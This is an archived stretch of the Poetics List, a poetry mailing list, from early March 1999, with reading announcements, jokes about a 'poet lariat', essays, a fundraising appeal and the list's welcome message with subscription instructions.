On Mon, 1 Mar 1999, louis stroffolino wrote:
>
>
>
>
> On Mon, 1 Mar 1999, Heather H Thomas wrote:
>
> > BARDFEST 99(C)
> >
> > Reading, Pennsylvania & Berks County
> >
> > http://www.geocities.com/~poetspride/bardfest99.html
> >
> > Celebrating April... National Poetry Month
> >
> > 30 Days / 30 Venues
> >
> >
> > for details contact stevenallenmay: [redacted]
> >
> >
> > Events Calendar
> >
> > ---
> >
> > April 1....Fools Day : BARDFEST 99(C) Sampler with stevenallenmay & Craig
> > Czury and others at
> >
> > April 2....Benefit for the community of Lyons.
> >
> > April 3....Blue Marsh Lake
> >

> > April 4....Skyline Drive Fire Tower, Easter Sunrise Service with Poetry
> >
> > *April 5....Reading High School, with visiting poet Luis Otero-Garabis
> >
> > April 6...RAAC "Bruce Stanley Memorial Reading, with Reading H.S.
> > students
> >
> > April 7....Mulhenburg Public Library, hosted by Charles Scanzello
> >
> > *April 8....Alexander's Deli, New Jerusalem, Celtic Night hosted by Jen
> > Gittings Dalton, featuring Beth Phillips Brown
> >
> > April 9...Upstairs Gallery, Douglasville, hosted by stevenallenmay
> >
> > *April 9...Julia Lopez featured poet at the Puerto Rican Latin
> > Association.
> >
> > April 10...Wyomissing Inst. of Fine Arts, afternoon poetry workshop with
> > Craig Czury and evening reading featuring his students ($25)
> >
> > April 11...Tattered Pages Book Store, Shillington
> >
> > *April 12...Hamburg High School, with visiting poet Harry Eshelman.
> >
> > April 13...Hamburg Public Library
> >
> > April 14...Penn State Berks Campus, poetry writing workshop with Michael
> > Riley's creative writing class and reading at the Freyberger Art
> > Gallery, featuring his students
> >
> > April 15...Kutztown Public Library
> >
> > *April 16....Reading Museum, featuring Harry Humes
> >
> > April 17...Sahara Restaurant...Poetry Jazz
> >
> > April 18....Unitarian Church of Reading 6-8PM
> >
> > *April 19...Schuylkill Valley High School, visiting poet Karen Blomain
> >
> > April 20...Schuylkill Valley Public Library, featuring Schuylkill Valley
> > HS poets

> >
> > April 21....Borders Book store
> >
> > April 22...Fire & Ice Cafe, Fleetwood hosted by Gina Stitzer
> >
> > April 23...Albright College
> >
> > *April...24....Club SocIal Ipanema, Celebration of Spanish Poet Federico
> > Garcia Lorca, presented by poets Emiliano MartIn and Peter Krok of the
> > Manyunk Art Center
> >
> > April 25...St. John's Church Soul Cafe, Kutztown, hosted by Harry Serio
> >
> > *April 26...Boyertown High School, with visiting poet Jayne Relaford
> > Brown
> >
> > April 27...Boyertown Public Library, featuring Kerry Lance Graul
> >
> > April 28...Birdsboro Library hosted by stevenallenmay
> >
> > April 29...YMCA of Reading
> >
> > April 30...'Day of Poetry' Muhlenberg HS 9AM - 2:30PM (Martha
> > Richardson)
> >
> >
> > * Programs funded by the Berks Arts Council
> >
> >
> > ---
> >
> > This page created by Alex K. of G.jC Enterprises, December 1998
> >
> > Contact the Webmaster at My 7 [redacted].
> >
> >
> > Heather H. Thomas, English Dept., Kutztown U., Kutztown, PA/USA
[redacted]
> >
>

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43. Catherine Daly
Re: Brown
Tue 2 Mar 1999

Thanks for the tolerance.

Lee Ann Brown read well, sang again, read poems quite differently selected from _Polyverse_, but still a cohesive, performative, revelatory whole at Sun & Moon,

the new Buck a Book for the Miracle Mile?

Not quite, and I still owe $5 to the press. But do go there, perhaps with enough cash, for the sale.

Rgds,
Catherine Daly
[redacted]

↑ Index

44. Ron Silliman
Not That Pig
Tue 2 Mar 1999

I do believe that was Saul Bellow who said this, not Levine. And I suspect that I'm the one who cited SB to that effect, tho, since I'm at work and Bromige & Billy Little have yet to complete the concordance of my critical texts, I can't tell you where...

But it weren't Phil (Not This Pig) Levine, unless he made the same gaffe independently.

Ron Silliman

_____
Get Your Private, Free Email at http://www.hotmail.com

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45. Ron Silliman
Now I remember
Tue 2 Mar 1999

It's in "Disappearance of the Word, Appearance of the World," in Das Neue Satz

If I started a school of cowboy language poets,
could I become poet lariat?

Ron

Get Your Private, Free Email at http://www.hotmail.com

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46. Joe Ross
Re: Page Mothers Reading
Tue 2 Mar 1999

For those of you in San Diego this weekend for the
Page Mothers Conference - -

Beyond The Page is hosting a special post-conference reading:

Sunday, March 7th at 1 P.M.

Readers include:

Rae Armantrout Fanny Howe A.L Nielsen Dodie Bellamy
Jennifer Hofer Leslie Scalapino Lee Ann Brown Pamela Lu
Margy Sloan Rachel Blau Duplessis Bill Luoma Juliana Spar
Lyn Hijinian Laura Moriarty

-Plus others who aren't confirmed at this moment.

Beyond The Page holds its events at:

The Faultline Theater
3152 5th Ave (5th & Spruce in Hillcrest)
San Diego, CA

All events are free with donations going to the readers & for rent

Beyond The Page is an independent arts group dedicated to the promotion of experimental and explorative work in contemporary arts. For more information contact Joe Ross: [redacted] or Stephen Cope: [redacted]

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47. Charles Alexander
Re: Now I remember
Tue 2 Mar 1999

---

depends on the jingle of your spurs

> *If I started a school of cowboy language poets,*
> *could I become poet lariat?*
>
> *Ron*

---

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

↑ Index

48. Garrett Kalleberg

TF News

Tue 2 Mar 1999

Tuesday, March 2, 1999

Dear Poeticsmongers, -cozeners, -traders, -speculators and -collectors:

A couple of announcements from The Transcendental Friend:

Links have been posted to an Editorial Statement, Submissions information, and a general masthead page at the Transcendental Friend home page (http://www.morningred.com/friend). TF welcomes submissions that contribute to the ongoing projects here. Please take a look at these pages and send a note if you're interested.

Leonard Schwartz joins TF as the new editor of Report from Afield, Duncan Dobbelmann as Contributing Editor, and Kevin Varrone as Managing Editor.

Lastly, we'd like to mention that next month is the one year anniversary of TF. Readings & general merrymaking to take place at the Dactyl Foundtation in NY on March 16. The March(/April) issue of the Transcendental Friend, will be posted at that time. An audio CD will also be available. More news to follow.

The current issue no. 8, "Coffins," can be seen at
http://www.morningred.com/friend/1999/02/cover.html

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

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49. Michael Scharf

Page Mothers Coverage ASAP

Wed 3 Mar 1999

Going to California?

I have a friend who is an editor at a prominent writerly magazine that has recently been redesigned. She is looking for someone to write 1,000 clear, admiring words about the Page Mothers conference and its participants. She

will pay you. Lots of people will read it. You'd be doing the conference good. Please come forward. Journalistic or reviewing experience, as they say, would be a big plus.

The admiring part was my idea but I'm certain it is an apt one.

If you are a panelist it does not, I would guess, disqualify you -- new journalism, etc.

Backchannel ASAP -- thanks -Mike

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50. George Bowering
Re: Kroetsch/Smith
Wed 3 Mar 1999

I hope that Bay Area folk, at least, get/got to the Kroetsch and Smith reading at Berkeley, and that someone can report on it. Kroetsch is, in my opinion, the most interesting living Can. writer up here, and Smith is one of two poets I know who claim to be good golfers.

As to Bromige. I want it understood that while I write his poems, I do not write his letters.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

51. Kevin L. Magee
Richard Foreman's New Writing
Wed 3 Mar 1999

Some staging notes responsive to RF's website posted 2/27.

Window and door and a cup and a cloud and a phone and a table and tree, who could you find to find them for you? Somebody who thinks they know how to run the show says these are props. I said I didn't know what props were or what they were for. Here they are words that float and rest for a moment among pairs of voices, there are only a few of them, you wouldn't need to ask a whole lot of people to be the voices, not the objects, the voices are never objects here, eluding objectification, could they even bear to be identified by the body of the actor? These voices are outside the thingness of the words for the objects that

are images, not props, but image-objects. How can you see them without a camera? How can you stage them without a camera? Richard Foreman's new writing for the theater abolishes cinema. There can be no light tricks. There needs to be natural light only, coming in through the loft or gallery window like the one at Canessa Park. The play(s) would then need to take place across a 24 hour period. Natural light falling on words for image-objects which I don't know if they should be spoken by live speakers. RF writes that he used tapes a long time ago, before William Dafoe. Maybe the actors whose bodies the voices are supposed to coming out of need at least to begin mutely, as a gesture to Kattrin (RF's Brecht). The words would surround the live speakers, and they would fall toward them, and the action would be the actors trying to find the words with their mouths, and the v-effect of it would not be coming from anything more monumental than the recognition that the simplest words for things and thoughts and feelings like the "I love you" these speakers say would materialize through an unprecedented intersubjectivity, one endless day and night in which the Poem can be heard departing from its graphic site, paper or screen, and returning to the fragile acoustics of the interreal, which sounds to those outside it to be the doubly unreal. Richard Foreman's new writings tell me there is a human voice. It is both one and not-one together for the many who are without a voice. There is also a child's garden of verses here, for the children our government is killing in Iraq.
Does RF suggest in an essay that he was "pandering to the masses" (his own title) when in one show two naked women on roller skates bent over to bare their asses to the audience? They called this pornography. Guys and dolls. In RF's new writings it is the kiss that shocks to be shown, an action that could it be represented, and I don't think it can, might tear the viewer between her critical detachment-position and her body's involuntary, reflexive wet.

KM/3-3/Cleveland

↑ Index

52. miekal and
Re: Now I remember
Wed 3 Mar 1999

I'm afraid the recently passed to the great bucktooth saloon in the sky, Jack Spandrift has coralled those honors.

Slim St And

Ron Silliman wrote:
>
> It's in "Disappearance of the Word, Appearance of the World," in Das
> Neue Satz

>
> If I started a school of cowboy language poets,
> could I become poet lariat?
>
> Ron
>
> _____
> Get Your Private, Free Email at http://www.hotmail.com

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53. Poetics List

Welcome Message reprise

Wed 3 Mar 1999

Welcome to the Poetics List & The Electronic Poetry Center

..sponsored by The Poetics Program, Department of English, College of Arts & Science, the State University of New York, Buffalo /// Postal Address: Poetics Program, 438 Clemens Hall, SUNY Buffalo, NY 14260

Poetics List Moderator: Christopher W. Alexander
Please address all inquiries to <[redacted]>.

Electronic Poetry Center: <http://writing.upenn.edu/epc>

= Contents =
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2. Subscriptions
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5. Digest Option
6. Temporarily turning off Poetics mail
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8. The Electronic Poetry Center (EPC)
9. Poetics Archives at EPC
10. Publishers & Editors Read This!

Above the world-weary horizons
New obstacles for exchange
arise Or unfold,
O ye postmasters!

1. About the Poetics List

The Poetics List was founded by Charles Bernstein in late 1993 with the epigraph above. Now in its second incarnation, the list carries over 600 subscribers, though all of these subscribers do not necessarily receive messages at any given time. A number of other people read the Poetics List via our web archives at the Electronic Poetry Center (see section 9 below).

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

increasing number of subscribers, we are no longer able to maintain the open format with which the list began. All submissions are reviewed by the moderator in keeping with the goals of the list, as articulated in this Welcome Message. We remain committed to this editorial function as a defining element of the Poetics List. Our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

For further information on posting to the list, see section 5 below. Publishers and series co-ordinators, see also section 10.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. See section 7 for details.

We recognize that other lists may sponsor other possibilities for exchange in this still-new medium. We request that those participating in this forum keep in mind the specialized and focussed nature of this project. For subscription information or to contact the editors, write to <[redacted]>.

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2. Subscriptions

Subscriptions to the Poetics List are free of charge, but formal registration is required. We ask that when you subscribe you provide your real name, street address, email address, and telephone number. All posts to the list must provide your full real name, as registered. If there is any discrepancy between your full name as it appears in the "from" line of the message header, please sign your post at the bottom.

<[redacted]>. Your message should include all of the required information. Please allow several days for your new or re-subscription to take effect.

PLEASE NOTE: All subscription-related information and correspondence remains absolutely confidential.

To unsubscribe, send this one-line message, with no "subject" line to <[redacted]>:

*If you are having difficulty unsubscribing, please note: sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to continue to receive mail from the Poetics List. To avoid this problem, unsub using your old address, then return to your new address and send this one-line message, with no "subject" line to <[redacted]>:

Remember to replace "Phil Spillway" with your own name. If you find that it is not possible to unsub using your old address, please contact the editors at <[redacted]> for assistance.

*Eudora users: if your email address has been changed, you may still be able to unsubscribe without assistance. Go to the "Tools" menu in Eudora, select "Options" and then select setup for "Sending Mail": you may be able to temporarily substitute your old address here to send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increased quota from your system administrator. (University subscribers may wish to argue that this subscription is part of your scholarly communication!) You might also consider obtaining a commercial account. In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply re-subscribe to the list (once your account problem has been resolved!) by sending this one-line message, with no "subject" line to <[redacted]>:

Remember to replace "Phil Spillway" with your own name.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address <[redacted]>. Please note that it may take up to ten days, or more, for us to reply to messages.

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3. Submissions

are reviewed by the editors in keeping with the goals of the list as articulated in this Welcome Message (see section 1). Please note that while this list is primarily concerned with poetics, messages relating to politics and political news will also be considered. All correspondence with the editors regarding

submissions to the list remains confidential and should be directed to <[redacted]>.

We encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear. Such announcements constitute a core function of this list. Also welcome are other sorts of news, e.g., event reports, obituaries, and reading lists (annotated or not).

Queries may be posted to the list when deemed appropriate; we request that the posting subscriber assemble "highlights" from respondents' posts to be published to the list.

Solicited submissions (by subscribers or non-subscribers) may also appear on Poetics from time to time. The editors reserve the right to contact any subscriber regarding possible submissions.

Posts to the Poetics List should abide by the rules of "Fair Use" when quoting material for which the posting subscriber does not hold copyright. Please do not post to the list personal or "backchannel" correspondence, or other unpublished material, without the express permission of the author!

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment directly to that individual, and not to the list editors.

Send messages to the list directly to the list address:

<[redacted]>

Please do not send messages intended for posting to the list to our administrative address <[redacted]>.

When sending to the list, please send only "plain text". Note, however, there is no problem with sending clickable URLs in HTML format.

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files. The use of "styled" text or HTML formatting in the body of email posts to the list appears not to be compatible with the the list's automatic digest program; as a result such messages disrupt the format of the Digest, even though this coding is readable for some subscribers who do not use the digest option.

Like all machines, the listserver will sometimes be down: if you feel your message has been delayed or lost, *please wait at least one day to see if it shows up*, then check the archive to be sure the message is not posted there; if you still feel there is a problem, you may wish to contact the editors at <[redacted]>.

As an outside maximum, we will accept for publication to Poetics no more than 5 messages a day from any one subscriber; in general, we expect subscribers to keep their post to less than 10-15 posts per month. Our goal is a manageable list (manageable both for moderators and subscribers) of twenty or fewer messages per day.

For further information or to contact the editors, please write to <[redacted]>.

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4. Cautions

It may take up to a week or more to respond to your questions or to subscription requests or to handle any other editorial business or any nonautomated aspect of list maintenance.

Please do not publish list correspondence without the express permission of the author! Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

"Flame" messages will not be tolerated on the Poetics List. In this category are included messages gratuitously attacking fellow listees, also messages designed to "waste bandwidth" or cause the list to reach its daily limit. These messages are considered offensive and detrimental to list discussion. Please do not bother submitting such messages to the editor. Offending subscribers will receive only one warning message. Repeat offenders will be removed from the list immediately. Please do not put this policy to test!

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5. Digest Option

The Listserve program gives you the option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option.

Send this one-line message, with no "subject" line to <[redacted]>:

    set poetics digest

You can switch back to individual messages by sending this message:

set poetics mail

NOTE!! Send these messages to "listserv" not to Poetics or as a reply to this Welcome Message!!

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6. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail.

You can temporarily turn off your Poetics subscription by
sending this one-line message, with no "subject" line, to
<[redacted]>:

set poetics nomail

You may re-activate your poetics subscription by sending this one-line message, with no "subject" line, to the same address:

set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See section 8 below.)

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7. "No Review" policy

For the safety and security of list subscribers, the "review" function of the Poetics List has been de-activated. Non-posting subscribers' email addresses will remain confidential. Please do not ask the list editors to give out subscriber addresses or other personal information.

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8. What is the Electronic Poetry Center?

The World Wide Web-based Electronic Poetry Center is located at <http://writing.upenn.edu/epc>.

Our mission is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and around the world. The Center provides access to the burgeoning electronic resources in new poetries including RIF/T and many other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts and bibliographies, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print

little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

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9. Poetics Archives at the EPC

Go to the Electronic Poetry Center <http://writing.upenn.edu/epc> and select the "Poetics" link from the opening screen. Follow the links to Poetics Archives. Or set your browser to go directly to <http://writing.upenn.edu/epc/poetics/archive>.

You may browse the Poetics List archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

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10. Publishers & Editors Read This!

PUBLISHERS & EDITORS: The Electronic Poetry Center listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible for our users and ENCOURAGE you to participate!

Send a list of your press/publications to
<[redacted]>, with the words EPC Press Listing in
the subject line.

You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor will save files in Rich Text Format (.rtf) this is also highly desirable.

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs or backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

You might also want to send short announcements of new publications directly to the Poetics List as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME MSG

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54. Poetics List

constant nagging / friendly message

Wed 3 Mar 1999

All - Since we've never compiled a FAQ for this list, I've decided to send out the Welcome Message or some version thereof periodically (this time by hand - I'll see about having it automated in future). The point is simply to remind subscribers of the main focus of the Poetics List etc.

Things seem to be going well around here - I appreciate everyone's patience with the mailhub failure last month; all of the fallout from that problem has been cleared away. In particular, I want to thank everyone for not inundating me with questions etc. in what I know was probably a time of at least irritating uncertainty. Well, it was for me, anyway.

Thanks, too, for helping to keep the list manageable. As most of you probably realize, moderating the PL isn't my full-time job; that's why messages are forwarded only once or twice a day. The closer we stay to list topics - with the occasional welcome diversions, of course - the easier it is for me to keep up with the list.

A few small requests:

Please remember to excerpt selectively from previous posts. By so doing, you could help save the vision or lower the blood pressure of our fine digest subscribers. Anyway, internet access may be 'free' for some of us, but ultimately words = bits = electricity = natural resources.

Remember to clearly state the date, time, and location (incl. the city and/or country as applicable) in reading/event announcements.

thanks, Chris

Christopher W. Alexander
poetics list moderator

↑ Index

55. Hilton Manfred Obenzinger
Obenzinger.Com
Wed 3 Mar 1999

I tried sending a message some time ago, though I don't think it got through. I'll try again, and if this is repetitive, please forgive.

A friend who designs web sites put together a web site on my books which includes excerpts, reviews, works-in-progress. Please check it out, and let me know any suggestions (about the site or about the books!). You can find the sucker at www.obenzinger.com.

Thanks,

Hilton Obenzinger

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56. Hilton Manfred Obenzinger
Re: Now I remember
Wed 3 Mar 1999

Ron --

Mark Twain already dubbed the Long Island farmer on board the Quaker City the "poet lariat" in The Innocents Abroad. His poems were of extraordinary terribleness approaching the sublime -- and the actual character published them after the trip. I don't remember his name right now, but I think the book was "Poems of a Long Island Farmer." In any case, I suppose Twain would let you be the next poet lariat -- but you would have to write such horrible stuff that it would be wonderful. Are you up for it?

Hilton Obenzinger

On Tue, 2 Mar 1999, Ron Silliman wrote:

> *It's in "Disappearance of the Word, Appearance of the World," in Das Neue Satz*
>
> *If I started a school of cowboy language poets,*
> *could I become poet lariat?*
>
> *Ron*

> ———————————————————————
> *Get Your Private, Free Email at http://www.hotmail.com*

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57. Steven Shoemaker
transparent pig
Wed 3 Mar 1999

Although I'm generally sympathetic to critques of the ideology of "transparency" in language, I have to admit I do have a sort of nagging reservation on this point. Maybe "transparency" isn't the right word, but there's a certain kind of experience I've had in reading poetry where the sense of contact is so immediate that the word does, in some sense, seem to have "disappeared." It's not my "usual" way of reading, and it has nothing to do with the Stephen King sort of transparency, and I suppose it tends to come at moments that are in some way epiphanic. It also--here's the paradox--requires supreme attention to language on the author's part. It isn't easy to think of an example off the top of my head--and it wld probably be impossible to point to specific lines anyway, since what I'm talking about probably has more to do with a certain reading *state*, something perhaps related to a spell or trance. Moments in Whitman, or Reznikoff, or Neruda come to mind...

Anybody else go along with this? steve

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58. David Kellogg
Bibliographic inquiry: Vancouver conference
Wed 3 Mar 1999

A student of mine needs to learn as much as she can about the 1963 Vancouver poetry conference as quickly as possible for a class report. What are the best sources? Everything I've picked up on the event has been culled from biographies and pieces of interviews. Thanks in advance.
~~~
~~~

59. Billy Little

Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)

Wed 3 Mar 1999

---

you say tomayto
he say tomahto
potahto
potayto
the dead enjoy these quibbles
hey muriel
you're the greatest
you should have got the nobel prize
but i guess that word vagina
looked more dangerous than dynamite

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

60. David Baratier

Forward: help

Wed 3 Mar 1999

From Jennifer Bosveld, at Pudding House (who is doing my next book)
mailto:[redacted]

* Willie Abraham Howard Jr. burned out in Atlanta area fire. We're publishing his book, Memorial Drive, and that's where his apartment burned Monday Feb. 22 while he was at work. His writings only got drenched and have been hanging out to dry on a friend's porch. But almost everything else is gone. His Smith Corona typewriter is a plastic blob. He was already living on little. He wants no sympathy. He sees only love and blessings and an opportunity for change. He is an amazing human being and I love him dearly. Will you help me help him? Alex Haley, it is clear to me, was about to thrust a spotlight on Willie, but Haley died. We're publishing his chapbook--a far cry from the attention Haley could have created. Willie's trying to get resettled. Let's shower him with $5 bills. Can you send ONE? or more? Why don't we do something really fantastic for this young writer who NEVER spends his money in the wrong place. He's a great father, has a strong work ethic, is a super person. He was FEATURED POET in Pudding Magazine a few issues back. Do sign a note to him please. It makes people crazy not to know the names of the people who do nice things. Just tell him you're a writer in support. Or whatever you want to say. The $30 KMart

voucher the fire victims got means EVERYTHING to him. Can you imagine? If you do this, it WILL came back to bless you 10-fold because "there is no giving anything away." No matter how much you send him it will bless YOU as much as HIM. I promise. I know, because I'm a goddess [god] just like YOU. Let's create. Let's make this day of creation one from the poets. Go without lunch. Forget the 6-pack. Whatever. For five minutes, I ask you to please put down the new Donald Hall book, drop everything and send a note to

WILLIE ABRAHAM HOWARD JR, 3850 Memorial Drive #C7, Decatur, Georgia 30032.

With a little gift in it. I'm also trying to figure out a way to get him a computer, which goddess Cathy Callaghan stuffed money in my pocket for last night at Larry's Poetry Forum when she heard me talking about this. If you have a recommendation about how I should go about selecting a cheap but no-clunker computer or facilitating this, please enlighten me. Thank you for joining in doing something for someone who least expects it. --Jen

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61. Poetry Project

new poets, poems, features

Wed 3 Mar 1999

New work by

Linh Dinh
Shannon Ketch
Gena Mason
Ange Mlinko
Camille Roy

in "Poets & Poems" at the Poetry Project website:
http://www.poetryproject.com

ALSO

in the "Features" section

"The Cyber-Journeys of Jeff Clark": The travels of a young poet through the worlds of the Electronic Discussion List

AND

Barbara Henning's "Interview with Harryette Mullen"

FORTHCOMING SOON:

"The Tiny Press Center"

with reviews, mentions, testimonials, contact information
of small journals, chapbooks and other publications
(tiny size, price or print run--big impact)

Send us your tiny publications!

To:
The Tiny Press Center
The Poetry Project
St. Mark's Church
131 E. 10th St.
New York, NY 10003

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62. David Zauhar
Re: Now I remember
Wed 3 Mar 1999

On Tue, 2 Mar 1999, Ron Silliman wrote:

> *It's in "Disappearance of the Word, Appearance of the World," in Das Neue Satz*
>
> *If I started a school of cowboy language poets,*
> *could I become poet lariat?*
>
> *Ron*

The official house organ of CoBo LangPo, L=A=S=S=O, features a roundtable discussion of the politics related to the selection of poet lariat. Highlights can be found at their L=A=S=S=O: http://www.getalonglittledoggy.com/~lariat.

Dave Zauhar

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63. Pritchett,Patrick
Re: Naropa Poetry Reading
Wed 3 Mar 1999

> *Anselm Hollo*
> *Anne Waldman*
> *& Andrew Schelling*
>
> *Introduced by Laura Wright, Josepha Conrad & Danielle Poitras (all Kerouac School MFA grads)*

> *Saturday March 13, at 8 PM, Naropa PAC*

↑ Index

64. George Bowering
Re: c=o=w=b=o=y poetry
Wed 3 Mar 1999

> *If I started a school of cowboy language poets,*
> *could I become poet lariat?*
>
> *Ron*

You have certainly spurred my interest in the project.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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65. Chris Piuma
flim 3/4 (tv or not tv?)
Wed 3 Mar 1999

.....flim: a free page.....
a journal of short, quirky writing

Happened before, it will happen again. There's a shiny new issue of flim out at www.flim.com. Volume three, issue four dares to ask the question: "Would you like to win a piece of authentic art?" Yup, while reading this month's selections of oddball poetic miniatures you -- yes you -- can win a print by talented young artist Manny Saenz-Reyes. (And don't forget about last issue's contest, where you could win a copy of Dodie Bellamy and Bob Harrison's masterpiece of smut, "Broken English" -- you have until 15 March to enter! www.flim.com/flim/flim0303.html)

In this issue of flim, Lawrence Upton acts like a cartoon ("'If you were the enemy, would you know? Please take a leaflet.'") while Ron Henry divulges what's happening today on cable ("Cult classic about a suicidal young man and a vivacious elderly woman. And the news, once broken, is devastating to Marge his room and make you read his privacy statement ("In Munich, at least two

prominent Germans are not charismatic perennial question: tv or not tv? Oh, and there's always letters!

So swing on by www.flim.com -- and remember: you can't win if you can't read.

--

flim: a free page is always scanning the neighbordhood looking for submissions. Any original piece of writing (in paragraphs, not verse) from 50-600 words will be considered, the quirkier the better. Previous issues have included jokes, recipes, prose poems, reviews, letters to the editor, parodies, rewritings of older texts, randomly splayed bits of punctuation, and translations of articles from previous issues. flim is edited by Chris Piuma [[redacted]]. It is available in both print and online editions.

--
Chris Piuma, etc. http://www.flim.com
"Autonomy and freedom, the alpha and omega of army practice today

↑ Index

66. **pete spence**
Re: Now I remember
Wed 3 Mar 1999

>
>It's in "Disappearance of the Word, Appearance of the World," in Das
>Neue Satz
>
>If I started a school of cowboy language poets,
>could I become poet lariat?
>
>Ron
>
only if you give yon reader enough rope//pete spence

> _____
> *Get Your Private, Free Email at http://www.hotmail.com*

_____
Get Your Private, Free Email at http://www.hotmail.com

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67. david bromige
o, sure, "now I remember"
Wed 3 Mar 1999

Silliman "remembers" only after Little-Bromige forward their files of his "Uncompleted [R.Silliman] " concordance. He also appears to have raided Billy's joke book ("for the "poet-lariat" quip). Anyway, I am really posting only because I'm afraid my last b-c to you, R Silliman, didnt go thru; I had posted it to one of those forbidden eddresses, not out of my usual sense of mischief, but my usual sense of inadvertance. Ron, if you are listening, could you let me know to what edress to forward? Thanks, and thanks all for putting up with this intrusion (given that you have)> David.

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68. William Slaughter
Mudlark
Thu 4 Mar 1999

New and On View:

Mudlark Poster No. 16 (1999)

* * * * *

Two Poems by Simon Perchik

"Your white shirt too white, its buttons"
"Like a warden at the evening meal"

Simon Perchik's poems have appeared everywhere:
in "big" magazines such as American Poetry Review,
The Nation, The New Yorker, Partisan Review,
and Poetry, for example; and from "small" presses.
Among others, the Elizabeth, Scarecrow, White Pine,
and Dusty Dog presses have published his books
over the years. Pavement Saw Press will release
Hands Collected: The Books of Simon Perchik
in Fall 1999. Perchik lives in East Hampton,
Long Island.

* * * * *

Spread the word. Far and wide,

William Slaughter

_____
MUDLARK

An Electronic Journal of Poetry & Poetics
Never in and never out of print...
E-mail: [redacted]
URL: http://www.unf.edu/mudlark

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69. miekal and
Bob Holman is all wet
Thu 4 Mar 1999

This is your chance to catch Bob Holman in his element.

As he interviews Maria Damon & Miekal And.

About the everyplace known as Literature Nation.

http://poetry.miningco.com

Bring your umbrella & something to sip.

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70. Poetics List
Re: Page Mothers Reading / Silliman
Thu 4 Mar 1999

This message hobbled over to me with a delivery error - hence couldn't come through to the list directly. The "spacer" indicates message status, certainly not a judgement on the content! Chris

---------- Message in error (61 lines)

From: "Ron Silliman" <[redacted]>
Subject: Re: Page Mothers Reading
Date: Wed, 03 Mar 1999 12:03:28 PST

This has to be the single best list I've ever seen for a reading. I do hope somebody there will report both this event & the conference in full to those of us in the hinterlands.

Ron Silliman

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71. Maria Damon
Re: Now I remember
Thu 4 Mar 1999

At 8:48 AM -0800 3/3/99, Hilton Manfred Obenzinger wrote:
 His poems were of
extraordinary terribleness approaching the sublime

thanks for that lovely phrase. it begins to get at what i find so appealing about "doggerel," especially on a subject of emotional importance to the writer. it's been hard for me to get across to folks why this stuff is significant to me and why i want to write about it, but this phrase helps.

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72. Brian Lucas
Joanne Kyger & Gerrit Lansing
Thu 4 Mar 1999

Honey from the Rock, or Goo Stew

Thousand-petalled cascades from the Orchards of Sleep

Skeleton-echo preserved in glass, the Dark Grammarian
grey-haired, in black ---a blue oak divined in well-bottom

his Heavenly Tree a Great Form without Shape

Gerrit Lansing last night at the Poetry Project. No one should've missed it--and many, thankfully, didn't.

A great reed boat dropped him off at the lectern, a flock of seraphim took him back to Gloucester. The Tree he lives in, for decades--through the Boston axis--where's he been, where have we been? --grows upward, out from the groin, partaking of spherical musics, cloud-manna.

Joanne Kyger was next, a welcome blast of Bolinas beachlounging--the thunder blasting behind her--"I'll wait for Zeus to finish..."--pure California iceplant farmer, scouting white foams for bodhi leaf. Dark glasses she wore were actually satellite dishes picking up the quiet descriptive transmissions that eventually appears in the pomes. Damn fine clarity. I wanted to go back home with "Miss Kids" for tea--Stinson Beach huts appearing off to her side--

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73. Eric Gleason, aka Agent Sunshine
music
Thu 4 Mar 1999

